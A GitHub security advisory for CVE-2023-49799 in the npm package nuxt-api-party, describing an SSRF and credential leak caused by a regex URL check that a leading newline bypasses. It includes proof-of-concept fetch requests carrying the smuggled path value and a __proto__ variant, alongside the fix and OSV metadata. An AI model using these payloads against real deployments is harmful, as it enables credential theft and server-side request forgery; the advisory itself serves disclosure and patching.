GHSA-3WFP-253J-5JXV

Vulnerability from github – Published: 2023-12-12 00:49 – Updated: 2023-12-12 00:49
VLAI
Summary
SSRF & Credentials Leak
Details

Summary

nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. A previous vulnerability allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF.

This vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF.

Details

nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use a regular expression ^https?://.

This regular expression can be bypassed by an absolute URL with leading whitespace. For example \nhttps://whatever.com has a leading newline.

According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue." (source)

This means the final request will be normalized to https://whatever.com. We have bypassed the check and nuxt-api-party will send a request outside of the whitelist.

This could allow us to leak credentials or perform SSRF.

PoC

POC using Node.

await fetch("/api/__api_party/MyEndpoint", {
    method: "POST",
    body: JSON.stringify({ path: "\nhttps://google.com" }),
    headers: { "Content-Type": "application/json" }
})

We can use __proto__ as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on endpoint will be undefined.

await fetch("/api/__api_party/__proto__", {
    method: "POST",
    body: JSON.stringify({ path: "\nhttps://google.com" }),
    headers: { "Content-Type": "application/json" }
})

Impact

Leak of sensitive API credentials. SSRF.

Fix

Revert to the previous method of detecting absolute URLs.

  if (new URL(path, 'http://localhost').origin !== 'http://localhost') {
      // ...
  }
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt-api-party"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-49799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-12T00:49:44Z",
    "nvd_published_at": "2023-12-09T00:15:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [A previous vulnerability](https://huntr.dev/bounties/4c57a3f6-0d0e-4431-9494-4a1e7b062fbf/) allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF. \n\nThis vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF. \n\n### Details\n`nuxt-api-party` attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to [use a regular expression](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31) `^https?://`.\n\nThis regular expression can be bypassed by an absolute URL with leading whitespace. For example `\\nhttps://whatever.com` has a leading newline. \n\nAccording to the fetch specification, before a fetch is made the URL is normalized. \"To normalize a [byte sequence](https://infra.spec.whatwg.org/#byte-sequence) potentialValue, remove any leading and trailing [HTTP whitespace bytes](https://fetch.spec.whatwg.org/#http-whitespace-byte) from potentialValue.\" ([source](https://fetch.spec.whatwg.org/))\n\nThis means the final request will be normalized to `https://whatever.com`. We have bypassed the check and `nuxt-api-party` will send a request outside of the whitelist. \n\nThis could allow us to leak credentials or perform SSRF.\n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"/api/__api_party/MyEndpoint\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on `endpoint` will be undefined.\n```js\nawait fetch(\"/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nLeak of sensitive API credentials. SSRF.\n\n\n### Fix\nRevert to the previous method of detecting absolute URLs.\n```js\n  if (new URL(path, \u0027http://localhost\u0027).origin !== \u0027http://localhost\u0027) {\n      // ...\n  }\n```\n",
  "id": "GHSA-3wfp-253j-5jxv",
  "modified": "2023-12-12T00:49:44Z",
  "published": "2023-12-12T00:49:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-3wfp-253j-5jxv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49799"
    },
    {
      "type": "WEB",
      "url": "https://github.com/johannschopplich/nuxt-api-party/commit/72762a200fc19d997a0f84bce578c28698dc5270"
    },
    {
      "type": "WEB",
      "url": "https://fetch.spec.whatwg.org"
    },
    {
      "type": "WEB",
      "url": "https://fetch.spec.whatwg.org/#http-whitespace-byte"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/johannschopplich/nuxt-api-party"
    },
    {
      "type": "WEB",
      "url": "https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31"
    },
    {
      "type": "WEB",
      "url": "https://infra.spec.whatwg.org/#byte-sequence"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SSRF \u0026 Credentials Leak "
}



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